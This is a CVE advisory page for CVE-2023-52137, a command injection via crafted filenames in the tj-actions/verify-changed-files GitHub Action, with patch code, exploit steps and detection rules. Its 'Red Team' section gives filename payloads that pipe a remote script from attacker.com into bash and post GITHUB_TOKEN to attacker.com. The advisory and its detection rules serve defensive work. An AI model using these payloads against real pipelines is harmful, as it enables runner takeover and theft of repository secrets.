☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Tj-actions logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.7 🐛 CWE-20
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-52137

CVE-2023-52137 Command Injection in github
📅 PUBLISHED: 2023-12-29 17:08 UTC 🔄 UPDATED: 2026-09-23 20:19 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.62%
👁️
2.62% probability
65.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-52137 is a command injection vulnerability in the tj-actions/verify-changed-files GitHub Action. The action returns a list of changed filenames from a workflow execution. If these filenames contain special characters (e.g., ;, $, `), and the output is used unsafely in a run block, an attacker can inject arbitrary commands. This can lead to full compromise of the GitHub Runner, including exfiltration of secrets like GITHUB_TOKEN. The vulnerability is particularly dangerous when triggered on events other than pull_request, as an attacker can craft a malicious filename in a pull request to execute code on the runner.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the GitHub Actions supply chain. The tj-actions/verify-changed-files action is a third-party component used in CI/CD pipelines. If compromised, it can lead to lateral movement within the GitHub ecosystem, affecting all workflows that depend on it. The action is distributed via the GitHub Marketplace, and users must update to version 17 or later to mitigate the risk.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely via a crafted pull request.
  • Attack Complexity (AC): Low (L) - No special conditions required; a malicious filename is sufficient.
  • Privileges Required (PR): None (N) - No authentication needed to submit a pull request.
  • User Interaction (UI): Required (R) - The victim must run the workflow that uses the action.
  • Scope (S): Unchanged (U) - The vulnerable component and the runner are in the same security boundary.
  • Confidentiality (C): High (H) - Secrets like GITHUB_TOKEN can be stolen.
  • Integrity (I): High (H) - Arbitrary code execution allows modification of workflow outputs.
  • Availability (A): High (H) - Runner can be taken over, disrupting CI/CD.

CVSS Score: 7.7 (High)

Deep Dive & Mechanics

The tj-actions/verify-changed-files action outputs a list of filenames that were changed in a workflow run. In vulnerable versions (< 17), this output is not sanitized. When a workflow uses this output in a run block (e.g., run: echo "Changed files: ${{ steps.verify.outputs.files }}"), the shell interprets special characters in the filenames. An attacker can create a file with a name like ; curl http://attacker.com/steal.sh | bash ; in a pull request. When the workflow runs, the shell executes the injected command, allowing the attacker to execute arbitrary code on the GitHub Runner.

The attack is most effective when the workflow triggers on pull_request_target or other events that have access to repository secrets. The GITHUB_TOKEN can be exfiltrated, leading to further compromise of the repository.

Vulnerable vs. Patched Code

Vulnerable Code (pre-v17): The action outputs filenames without escaping special characters. For example, in the outputs section of action.yml:

outputs:
  files:
    description: 'List of changed files'

The JavaScript code simply returns the filenames as-is:

core.setOutput('files', changedFiles.join(' '));

Patched Code (v17+): The action now escapes special characters for bash environments. The safe_output option is enabled by default, and filenames are escaped using core.setOutput with proper quoting:

const escapedFiles = changedFiles.map(f => `'${f.replace(/'/g, "'\\''")}'`);
core.setOutput('files', escapedFiles.join(' '));

This ensures that filenames are treated as literal strings in shell commands.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A GitHub repository with a workflow using tj-actions/verify-changed-files (vulnerable version).
  • Ability to create a pull request with a malicious filename.

Exploit Steps:

  1. Fork the target repository.
  2. Create a branch with a file named: ; curl http://attacker.com/steal.sh | bash ;
  3. Open a pull request from this branch to the target repository.
  4. When the workflow runs, the injected command executes on the runner.
  5. Exfiltrate secrets (e.g., GITHUB_TOKEN) to an attacker-controlled server.

Example Payload:

; echo $GITHUB_TOKEN | curl -X POST -d @- http://attacker.com/exfil ; 

Blue Team

Detection:

  • Monitor for unusual filenames in pull requests, especially those containing shell metacharacters (;, $, `, |, &).
  • Review workflow logs for unexpected command execution or network connections.
  • Use GitHub's audit log to detect anomalous runner activity.

Prevention:

  • Update tj-actions/verify-changed-files to version 17 or later.
  • Avoid using raw outputs from actions in run blocks. Instead, use environment variables or ${{ steps...outputs... }} with proper quoting.
  • Implement branch protection rules to restrict who can create pull requests.

Indicators of Compromise (IOCs)

  • File Names: Filenames containing shell metacharacters (e.g., ;, $, `).
  • Network Connections: Outbound connections from GitHub Runners to unknown IPs/domains.
  • Process Execution: Unexpected shell commands in workflow logs (e.g., curl, wget, bash).
  • Secrets Exfiltration: Unusual API calls using GITHUB_TOKEN (e.g., creating new tokens, modifying repository settings).

Detection Engineering

YARA Rule

rule detect_malicious_filename {
  meta:
    description = "Detects filenames with shell metacharacters used in CVE-2023-52137"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2023-52137"
  strings:
    $metachar = /[;|&$`()]/
  condition:
    $metachar at 0
}

Sigma Rule

title: Suspicious Filename in Pull Request
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects pull requests with filenames containing shell metacharacters
author: Valters IT
logsource:
  product: github
  service: audit
detection:
  selection:
    action: pull_request.opened
    filename|contains:
      - ';'
      - '|'
      - '&'
      - '$'
      - '`'
  condition: selection
falsepositives:
  - Legitimate filenames with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-52137 - Potential Command Injection via Filename"; flow:to_server; content:"/pull/"; http_uri; pcre:"/[;|&$`]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Update tj-actions/verify-changed-files to version 17 or later.
  2. Short-term: Review all workflows using this action and ensure outputs are not used unsafely in run blocks.
  3. Long-term: Implement input validation for filenames in CI/CD pipelines. Use GitHub's built-in ${{ steps...outputs... }} with proper quoting.
  4. Monitoring: Enable GitHub Advanced Security alerts and monitor for suspicious pull requests.
  5. Training: Educate developers on the risks of using raw action outputs in shell commands.

Valters IT
Securing the Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-52137/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.